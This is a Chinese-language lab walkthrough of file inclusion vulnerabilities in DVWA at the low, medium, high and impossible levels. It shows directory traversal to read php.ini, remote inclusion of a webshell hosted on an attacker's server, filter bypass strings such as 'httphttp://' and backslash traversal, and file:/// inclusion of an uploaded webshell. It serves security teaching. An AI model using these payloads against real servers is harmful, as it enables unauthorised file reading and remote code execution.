文件包含
举例:
有个骗子卖东西,以次充好,以假乱真,这就是在三十六计里面的偷梁换柱
在文件包含漏洞里面的文件,把真正的文件调包换成我们的恶意文件,服务器却还不知道
概述:
文件包含其实就一种代码的处理方法,当一个代码文件想要引用另一个代码文件就会利用到包含,常见的函数有:include,require等,参数一般是代码文件名
文件名参数用户可控且过滤不严,被攻击者偷梁换柱
文件包含
include("hello.php")
include就是包含的意思,服务器端本身自带的
hello.php文件是由攻击者控制的
准备环境:
Firefox
DVWA
HackBar
漏洞实战
1.首先我们进入简单模式
2.说我们的allow_url_include的没有设置
2.1点击我们的phpstudy的其他选项菜单
2.2选择php扩展与设置->参数开关设置->allow_url_include
F5刷新一下
3.观察
首先看我们的hackbar上的url的红框内容
4.分别点击三个文件链接进行查看
file1.php
file2.php
file3.php
5.发现这个参数就是我们可以利用的地方
6.尝试修改url参数为test.php
显示了文件找不到这个文件,也表示了这个地方可以利用,同时我们还有个以外的收获,爆出了这个web的绝对路径,后面能利用到
7.思考
xxx.php
之前是file1.php、file2.php、file3.php
肯定是在一个目录里,而这个目录加上文件名形成了绝对路径
就相当于我们前面提到的include()
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=xxx.php
include("F:\phpstudy\WWW\DVWA-master\vulnerabilities\fi\xxx.php")
前面的框里的路径是固定字段,而xxx.php是我们可控的
8.攻击—本地文件读取
读取F:\phpstudy\WWW\DVWA-master\php.ini
include(“F:\phpstudy\WWW\DVWA-master\php.ini”)
如果我们要变成下面的路径,我们就需要下面怎么做才能到执行到下面结果
include("F:\phpstudy\WWW\DVWA-master../../php.ini")
9.验证猜测
先访问原始内容,看一下这个文件里面是什么
10.再访问我们刚刚好构造的url
在页面顶部出现php.ini的内容,所以我们成功读取了php.ini的文件
11.攻击者是满足不了本地的文件执行的文件的
怎么样才能读取其他目录的php脚本文件呢?
显示内容还是执行PHP代码?
12.在服务端有一个phpinfo可以查看服务器相关信息,我们先访问下这个
13.再去看看文件包含访问的情况,因为他们是在同一个目录里面的,执行后同样显示php的相关信息,表名了文件包含不仅仅能读文件还能够执行文件
14.攻击者拥有是不满足的,执行服务端本来就有的脚本文件,并没有什么杀伤力
所有验证一下是否可以执行远程文件
在本机写一个phpinfo文件,保存为phpinfo.txt,然后执行文件包含,发现远程执行文件也可以用,而且非php文件,只要里面包含就可以执行
<?php
phpinfo
?>
15.问题:我们发现php和txt文件都可以执行
但是我们看一下两个php页面的配置
phpinfo.php
phpinfo.txt
这里应该会是服务端的ip地址,不知道为什么会变成这样
16.攻击者思路
首先在攻击者自己的WEB服务器A要攻击WEB服务器B,攻击者首先在自己服务器上Webshell的文本文件得到url
http://www.a.com/webshell.txt
找到b的包含漏洞
成功执行url,这样就完成了简单等级的文件包含
http:www.b.com/DVWA-1.9/vulnerabilities/fi/?page=http://www.a.com/webshell.txt
17.进入中等难度
根据low等级方法
执行发现low方法失败,弹出红框中的错误信息,说明某些服务端过滤了某些字符
18.具体什么字符呢,我们发现了是…/这个字符
或者使用排除法测试
首先使用.php发现执行成功没有过滤
再使用/php.ini发现执行成功没有过滤
再使用./php.ini发现执行成功没有过滤
最后发现使用…/php.ini被过滤
19.查看源代码
20.有了前面的认知我们不能用…/跳转目录了
最后我们可以想到利用…\反斜杠进行绕过
21.验证发现果然执行成功
21.再接着执行远程文件执行的方法
发现low等级的方法执行失败,看一下错误信息,显然也过滤了某些字符
22.开始尝试过滤了什么字符?
http127.0.0.1 没有过滤
:127.0.0.1 没有过滤
//127.0.0.1 没有过滤
最后尝试 http://127.0.0.1 发现只过滤了http://
23.尝试绕过
httphttp://127.0.0.1
再次尝试
httphttp://127.0.0.1/phpinfo.txt
最后尝试成功绕过
httphttp://?/127.0.0.1/phpinfo.txt
24.进入高难度模式
尝试简单等级的和中等的方法失败
出现了新的错误信息
添加反斜杠
25.最终不断尝试
服务端只认file*开头的文件的参数
尝试1file.php文件,没找到文件
尝试file11111111.php试试,从而发现只认file开头的字符串
26.查看源代码
26.file协议
file协议,文件传输协议,访问本地计算机中的文件
27.验证
我们知道物理路径
再使用文件包含执行成功
28.发现远程文件执行也需要file开头的,发现file协议只能执行本地文件,需要结合文件上传漏洞,然后进行本地文件执行
29.演示一下假如已经利用文件上传漏洞传入了phpinfo.txt的文件
30.攻击者思路
攻击者=>上传含有恶意代码的文件=>获取文件所在物理地址=>成功执行恶意代码=>受害者Web服务器 www.test.com
http://www.test.com//vulnerabilities/fi/?page=file:///F:/phpstudy/WWW/webshell.txt
32.最后进入无漏洞模式
查看源码,只允许四个文件名,有效防止了文件包含漏洞
修复